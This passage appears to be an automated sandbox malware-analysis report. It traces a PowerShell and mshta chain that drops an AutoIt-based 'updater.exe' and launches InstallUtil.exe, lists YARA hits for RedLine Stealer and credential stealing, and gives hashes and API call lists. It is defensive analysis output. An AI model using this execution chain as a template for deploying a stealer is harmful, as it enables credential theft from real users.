Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	02:38:20
Start date:	17/12/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2080 --field-trial-handle=1596,i,2208651499941348974,16461563014979243643,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	02:38:35
Start date:	17/12/2024
Path:	C:\Users\user\AppData\Local\Temp\48216953\updater.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\48216953\updater.exe" C:\Users\user\AppData\Local\Temp\48216953\OZxvrKbf.bin
Imagebase:	0xbb0000
File size:	893'608 bytes
MD5 hash:	C56B5F0201A3B3DE53E561FE76912BFD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000013.00000002.2486408621.0000000004008000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000013.00000002.2486408621.0000000004008000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000013.00000003.2477972557.00000000047B0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000013.00000003.2477972557.00000000047B0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000013.00000003.2477864662.00000000049B0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000013.00000003.2477864662.00000000049B0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 3%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	02:38:42
Start date:	17/12/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Imagebase:	0xd60000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	22
Start time:	02:38:51
Start date:	17/12/2024
Path:	C:\ehcfdbh\AutoIt3.exe
Wow64 process (32bit):	true
Commandline:	"C:\ehcfdbh\AutoIt3.exe" C:\ehcfdbh\bhcbhah.a3x
Imagebase:	0xf70000
File size:	893'608 bytes
MD5 hash:	C56B5F0201A3B3DE53E561FE76912BFD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000016.00000002.2636402975.0000000004238000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000016.00000002.2636402975.0000000004238000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000016.00000003.2628465496.00000000049E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000016.00000003.2628465496.00000000049E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000016.00000003.2628036401.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000016.00000003.2628036401.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 3%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	02:38:57
Start date:	17/12/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Imagebase:	0xe20000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000017.00000002.2631786260.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000017.00000002.2631786260.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	02:38:59
Start date:	17/12/2024
Path:	C:\ehcfdbh\AutoIt3.exe
Wow64 process (32bit):	true
Commandline:	"C:\ehcfdbh\AutoIt3.exe" C:\ehcfdbh\bhcbhah.a3x
Imagebase:	0xf70000
File size:	893'608 bytes
MD5 hash:	C56B5F0201A3B3DE53E561FE76912BFD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000018.00000003.2706163073.0000000005300000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000018.00000003.2706163073.0000000005300000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000018.00000003.2706323097.0000000005100000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000018.00000003.2706323097.0000000005100000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000018.00000002.2711167576.0000000004958000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000018.00000002.2711167576.0000000004958000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	02:39:05
Start date:	17/12/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Imagebase:	0xf30000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Function 00007FF848D73675 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2170795129.00007FF848D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff848d70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction ID: 57709df9a7571181bf98c77d2422354bb8b24f04103b44af52937a0974a3797c
Opcode Fuzzy Hash: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction Fuzzy Hash: 2301847010CB084FD748EF0CE051AA5B3E0FB89360F10052EE58AC3651D722E881CB45

Analysis Process: powershell.exePID: 3252, Parent PID: 6596COMMON

Executed Functions

Function 00007FF848D833B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2164313917.00007FF848D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff848d80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction ID: 6190a412ba869e1c4394ab06f68ed1fa2783655af5bd8fa2bfc56c5b34c361bf
Opcode Fuzzy Hash: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction Fuzzy Hash: 9701843010CB084FD748EF0CE051AA5B3E0FB85360F10052DE58AC3651DB22E882CB45

Analysis Process: mshta.exePID: 1600, Parent PID: 3252COMMON

Executed Functions

Function 00000147F7CD013D Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000003.2364427448.00000147F7CD0000.00000010.00000800.00020000.00000000.sdmp, Offset: 00000147F7CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_147f7cd0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 558d396bf7ab9b047b5175ff4c4fb65a45d3e749dcc552372b81dc52457738a7
Instruction ID: 46fc37461a40f80236ec102d7504565164cc3c538299902d3be4321abe1bd5de
Opcode Fuzzy Hash: 558d396bf7ab9b047b5175ff4c4fb65a45d3e749dcc552372b81dc52457738a7
Instruction Fuzzy Hash: C911C43010DBC94FEB92D7BC48586907BD0EF9732474A05DBC499CB4B2E26C8C89C352

Function 00000147F7CD1201 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000003.2364463742.00000147F7CD1000.00000010.00000800.00020000.00000000.sdmp, Offset: 00000147F7CD1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_147f7cd0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb5c7f43ec1f86d707fa7a8bc12a1983ceecf76049e47fdcfec64cb10512d632
Instruction ID: fcd64c61285017db761f686b6129f217ac617848fbdcca2733af3ede904bc96a
Opcode Fuzzy Hash: fb5c7f43ec1f86d707fa7a8bc12a1983ceecf76049e47fdcfec64cb10512d632
Instruction Fuzzy Hash: 8E11823061DB894FE78A967C58283B876D0EB56711F1A00EFC466CB1F2FA184C89C362

Function 00000147F7CD1201 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000003.2364463742.00000147F7CD1000.00000010.00000800.00020000.00000000.sdmp, Offset: 00000147F7CD0000, based on PE: false

Associated: 00000006.00000003.2364427448.00000147F7CD0000.00000010.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_147f7cd0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb5c7f43ec1f86d707fa7a8bc12a1983ceecf76049e47fdcfec64cb10512d632
Instruction ID: fcd64c61285017db761f686b6129f217ac617848fbdcca2733af3ede904bc96a
Opcode Fuzzy Hash: fb5c7f43ec1f86d707fa7a8bc12a1983ceecf76049e47fdcfec64cb10512d632
Instruction Fuzzy Hash: 8E11823061DB894FE78A967C58283B876D0EB56711F1A00EFC466CB1F2FA184C89C362

Function 00000147F79D0F81 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000003.2364492223.00000147F79D0000.00000010.00000800.00020000.00000000.sdmp, Offset: 00000147F79D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_147f79d0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e5b259a4ef372df3a19dbea43aa51bdba87727b4cd2006260a3058bb59ed270
Instruction ID: 704a3bb056515af13587918f2c0367c3e77f17c674db8d1b27624915d299cf82
Opcode Fuzzy Hash: 0e5b259a4ef372df3a19dbea43aa51bdba87727b4cd2006260a3058bb59ed270
Instruction Fuzzy Hash: AD90021449940655D41451990CCA2DC9040A388350FE444804466D0594D54D029A1162

Function 00000147F79D0F79 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000003.2364492223.00000147F79D0000.00000010.00000800.00020000.00000000.sdmp, Offset: 00000147F79D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_147f79d0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e5b259a4ef372df3a19dbea43aa51bdba87727b4cd2006260a3058bb59ed270
Instruction ID: 704a3bb056515af13587918f2c0367c3e77f17c674db8d1b27624915d299cf82
Opcode Fuzzy Hash: 0e5b259a4ef372df3a19dbea43aa51bdba87727b4cd2006260a3058bb59ed270
Instruction Fuzzy Hash: AD90021449940655D41451990CCA2DC9040A388350FE444804466D0594D54D029A1162

Function 00000147F79D0F99 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000003.2364492223.00000147F79D0000.00000010.00000800.00020000.00000000.sdmp, Offset: 00000147F79D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_147f79d0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e5b259a4ef372df3a19dbea43aa51bdba87727b4cd2006260a3058bb59ed270
Instruction ID: 704a3bb056515af13587918f2c0367c3e77f17c674db8d1b27624915d299cf82
Opcode Fuzzy Hash: 0e5b259a4ef372df3a19dbea43aa51bdba87727b4cd2006260a3058bb59ed270
Instruction Fuzzy Hash: AD90021449940655D41451990CCA2DC9040A388350FE444804466D0594D54D029A1162

Function 00000147F79D0F91 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000003.2364492223.00000147F79D0000.00000010.00000800.00020000.00000000.sdmp, Offset: 00000147F79D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_147f79d0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e5b259a4ef372df3a19dbea43aa51bdba87727b4cd2006260a3058bb59ed270
Instruction ID: 704a3bb056515af13587918f2c0367c3e77f17c674db8d1b27624915d299cf82
Opcode Fuzzy Hash: 0e5b259a4ef372df3a19dbea43aa51bdba87727b4cd2006260a3058bb59ed270
Instruction Fuzzy Hash: AD90021449940655D41451990CCA2DC9040A388350FE444804466D0594D54D029A1162

Function 00000147F79D0F89 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000003.2364492223.00000147F79D0000.00000010.00000800.00020000.00000000.sdmp, Offset: 00000147F79D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_147f79d0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e5b259a4ef372df3a19dbea43aa51bdba87727b4cd2006260a3058bb59ed270
Instruction ID: 704a3bb056515af13587918f2c0367c3e77f17c674db8d1b27624915d299cf82
Opcode Fuzzy Hash: 0e5b259a4ef372df3a19dbea43aa51bdba87727b4cd2006260a3058bb59ed270
Instruction Fuzzy Hash: AD90021449940655D41451990CCA2DC9040A388350FE444804466D0594D54D029A1162

Function 00000147F79D0FC1 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000003.2364492223.00000147F79D0000.00000010.00000800.00020000.00000000.sdmp, Offset: 00000147F79D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_147f79d0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e5b259a4ef372df3a19dbea43aa51bdba87727b4cd2006260a3058bb59ed270
Instruction ID: 704a3bb056515af13587918f2c0367c3e77f17c674db8d1b27624915d299cf82
Opcode Fuzzy Hash: 0e5b259a4ef372df3a19dbea43aa51bdba87727b4cd2006260a3058bb59ed270
Instruction Fuzzy Hash: AD90021449940655D41451990CCA2DC9040A388350FE444804466D0594D54D029A1162

Function 00000147F79D0FA9 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000003.2364492223.00000147F79D0000.00000010.00000800.00020000.00000000.sdmp, Offset: 00000147F79D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_147f79d0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e5b259a4ef372df3a19dbea43aa51bdba87727b4cd2006260a3058bb59ed270
Instruction ID: 704a3bb056515af13587918f2c0367c3e77f17c674db8d1b27624915d299cf82
Opcode Fuzzy Hash: 0e5b259a4ef372df3a19dbea43aa51bdba87727b4cd2006260a3058bb59ed270
Instruction Fuzzy Hash: AD90021449940655D41451990CCA2DC9040A388350FE444804466D0594D54D029A1162

Analysis Process: powershell.exePID: 5016, Parent PID: 1600COMMON

Executed Functions

Function 00007FF8477D391D Relevance: .8, Instructions: 804COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2358483913.00007FF8477D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8477D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff8477d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 392dd5aeddf5e00966c9de8f12d712af4ebd8b86bb6b4eac6d5d38700fe745e5
Instruction ID: e2f52d9891854eef959e9207e103b28dddce0b718f897fe4732b1dbcca722357
Opcode Fuzzy Hash: 392dd5aeddf5e00966c9de8f12d712af4ebd8b86bb6b4eac6d5d38700fe745e5
Instruction Fuzzy Hash: B2321121E0EBCACFE79AAB2858651B93BE1EF46250B8801FBD44DC71D3DD1C9806C356

Function 00007FF8477D3A50 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2358483913.00007FF8477D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8477D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff8477d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8c599f649b2029c23a43170f8051a4f197427f89934227b6c5d89957e7fbda0
Instruction ID: aa4bd3962c593a85365db0a9a349a630cb234cb1386ae2c2e874bb808389dc73
Opcode Fuzzy Hash: c8c599f649b2029c23a43170f8051a4f197427f89934227b6c5d89957e7fbda0
Instruction Fuzzy Hash: 1E31F122F0EE8BDFF399A62C0451278A7D2EFD5291BD801BAD80DC71E2ED0CD8068205

Function 00007FF8477D3D87 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2358483913.00007FF8477D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8477D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff8477d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e79284e416615993f28264a67f9496b58b552e578ddd4d6deac87fc9ea17c9be
Instruction ID: 5280ee4ad77de6602c2fb5987cc00561e1c5e65665cc848bf52bdd326e0c4c9b
Opcode Fuzzy Hash: e79284e416615993f28264a67f9496b58b552e578ddd4d6deac87fc9ea17c9be
Instruction Fuzzy Hash: 7E112E23D1E906CFF3987628A4A61BD67D1EF44290FC802B9DC0DC35C6ED0D6C114689

Function 00007FF847703A05 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2356796639.00007FF847700000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF847700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff847700000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction ID: fcde9f333c16971b08afda1f72e4a94cf642dcfe536b3bf93510ee039361ab60
Opcode Fuzzy Hash: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction Fuzzy Hash: 8201A77010CB0C8FD744EF0CE051AA5B3E0FB85364F10052DE58AC3665D632E882CB45

Function 00007FF8477D04D8 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2358483913.00007FF8477D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8477D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff8477d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60bd4ccf31b2c8b13841c76ef94ea8bce3dc22cb030d52a7b62fc1ccbd449974
Instruction ID: 3d5fa844b05efbd351a628826653de4cc4038aacf38e1026fca19f973a8cef92
Opcode Fuzzy Hash: 60bd4ccf31b2c8b13841c76ef94ea8bce3dc22cb030d52a7b62fc1ccbd449974
Instruction Fuzzy Hash: 25E0DF33E0E86E9EEBA5FAAC38185FC66D1FF646A178811B7DC0DD3181EC009C118395

Non-executed Functions

Function 00007FF8477024D8 Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2356796639.00007FF847700000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF847700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff847700000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 939fe335a70f238512a1a610ae00beb07d6d95875642d3c0d7c62168687d75d3
Instruction ID: 9b4cf962b8241ccbb2306a9b4da313b953eb155e30efe38c19e8fea722865689
Opcode Fuzzy Hash: 939fe335a70f238512a1a610ae00beb07d6d95875642d3c0d7c62168687d75d3
Instruction Fuzzy Hash: 1E419353E0E7C26FE713A73C6C651EA7FA0EF536B970900F7C6948B093E908140A8369

Analysis Process: powershell.exePID: 6776, Parent PID: 5016COMMON

Executed Functions

Function 00007FF8477C0001 Relevance: .4, Instructions: 356COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2565864472.00007FF8477C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8477C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff8477c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 47c11de1ddf8f96bb6f882bc13ded050cac6d1466be3e977191d30d4047680a8
Instruction ID: 6647be2ca1b174681117dd75f70fbb31a0c985afc5a937b5822d0b0733706aa8
Opcode Fuzzy Hash: 47c11de1ddf8f96bb6f882bc13ded050cac6d1466be3e977191d30d4047680a8
Instruction Fuzzy Hash: 31B1C162A0EBC68FE7579B3C5C645687FA0EF5B250B4E05EBC488CB1E3D9189C49C391

Function 00007FF8477C00DD Relevance: .1, Instructions: 141COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2565864472.00007FF8477C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8477C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff8477c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 412a2491d70b83ae26959d8fb3653f981d61bc02bda92b250d2e8fd3e3619294
Instruction ID: f60f23aa7d2ddd96b60f3d83eb268ccce2565c0aded8724584dab870e5c57930
Opcode Fuzzy Hash: 412a2491d70b83ae26959d8fb3653f981d61bc02bda92b250d2e8fd3e3619294
Instruction Fuzzy Hash: F341B621A0DBC98FD7479B3888909287FB1EF6B340B5905EBC449CB1E3D929EC45C391

Function 00007FF8476F3A05 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2563619592.00007FF8476F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8476F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff8476f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
Instruction ID: 91bdea51c075fba194d452c8761dcaeda280e46c387843f81a5bf2df205670ab
Opcode Fuzzy Hash: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
Instruction Fuzzy Hash: CE01677111CB0C8FDB44EF0CE451AA5B7E0FB95364F10056DE58AC3665D636E882CB45

Analysis Process: updater.exePID: 8112, Parent PID: 6776COMMON

Execution Graph

Execution Coverage:	4.3%
Dynamic/Decrypted Code Coverage:	85.1%
Signature Coverage:	2.6%
Total number of Nodes:	2000
Total number of Limit Nodes:	46

Executed Functions

Function 0125231D Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 186registrystringlibraryCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000105), ref: 01252338
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 01252356
RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 01252374
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 01252392
RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,00000000,00000005,00000000,01252421,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 012523DB
RegQueryValueExA.ADVAPI32(?,0125259D,00000000,00000000,00000000,00000005,?,?,00000000,00000000,00000000,00000005,00000000,01252421,?,80000001), ref: 012523F9
RegCloseKey.ADVAPI32(?,01252428,00000000,00000000,00000005,00000000,01252421,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 0125241B
lstrcpyn.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 01252438
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 01252445
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 0125244B
lstrlen.KERNEL32(00000000), ref: 01252476
lstrcpyn.KERNEL32(00000000,00000000,00000105,00000000), ref: 012524CB
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 012524DB
lstrcpyn.KERNEL32(00000000,00000000,00000105,00000000), ref: 01252507
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 01252517
lstrcpyn.KERNEL32(00000000,00000000,00000105,00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 01252541
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000105,00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 01252551

Strings

Software\Borland\Locales, xrefs: 0125234C, 0125236A
Software\Borland\Delphi\Locales, xrefs: 01252388

Memory Dump Source

Source File: 00000013.00000002.2484002607.000000000124B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0124B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_124b000_updater.jbxd

Similarity

API ID: lstrcpyn$LibraryLoadOpen$LocaleQueryValue$CloseFileInfoModuleNameThreadlstrlen
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 1759228003-2375825460
Opcode ID: e419386c1c14176c02fe80acd3ce33409e2080c4fae1d95406419178dc078066
Instruction ID: a0e53cdde783f30ea1bdbf7362ed74890c7b7f35781b49e438b0564dbe622ae5
Opcode Fuzzy Hash: e419386c1c14176c02fe80acd3ce33409e2080c4fae1d95406419178dc078066
Instruction Fuzzy Hash: D7615471A1420EFEFB55DAE8CC85FFF7BBCAB18304F4041A1AA15F61C1D6B89A448B50

Function 00BC5240 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 147windowCOMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00BC526C
IsDebuggerPresent.KERNEL32 ref: 00BC527E
GetFullPathNameW.KERNEL32(00007FFF,?,?), ref: 00BC52E6

Part of subcall function 00BC1821: _memmove.LIBCMT ref: 00BC185B

Part of subcall function 00BBBBC6: GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 00BBBC07

SetCurrentDirectoryW.KERNEL32(?), ref: 00BC5366
MessageBoxA.USER32(00000000,It is a violation of the AutoIt EULA to attempt to reverse engineer this program.,AutoIt,00000010), ref: 00C00B2E
SetCurrentDirectoryW.KERNEL32(?), ref: 00C00B66
